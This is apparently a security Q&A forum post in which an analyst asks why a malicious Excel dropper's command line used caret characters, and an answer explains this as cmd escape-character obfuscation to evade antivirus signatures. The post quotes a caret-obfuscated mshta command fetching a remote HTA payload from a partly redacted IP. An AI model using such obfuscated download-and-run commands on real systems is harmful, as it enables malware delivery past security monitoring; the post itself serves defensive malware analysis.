I found a malicious Excel file that was using an embedded HTA program as its dropper to download a powershell program from a malicious IP. The dropper was on a hidden sheet in the file. After reviewing the output in the sandbox I found that the syntax in the command line made use of the ^ character. Why?

cmd /c m^sh^t^a h^tt^p^:/^/8x.xxx.xx.xxx/pp/aa.html

Then the following command was :

mshta  hxxp://8x.xxx.xx.xxx/pp/aa.html

So, it was using HTA to call mshta.exe but why that syntax in the commandline? Is that valid, a sandbox error, or an attempt to get around security monitoring tools/antivirus software?


That is likely an attempt to evade security software and/or signature based detection. The caret character (^) is used as an escape character in batch scripts/cmd. When used before a normal character, it is effectively just ignored. This is a common obfuscation technique used by windows malware.


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.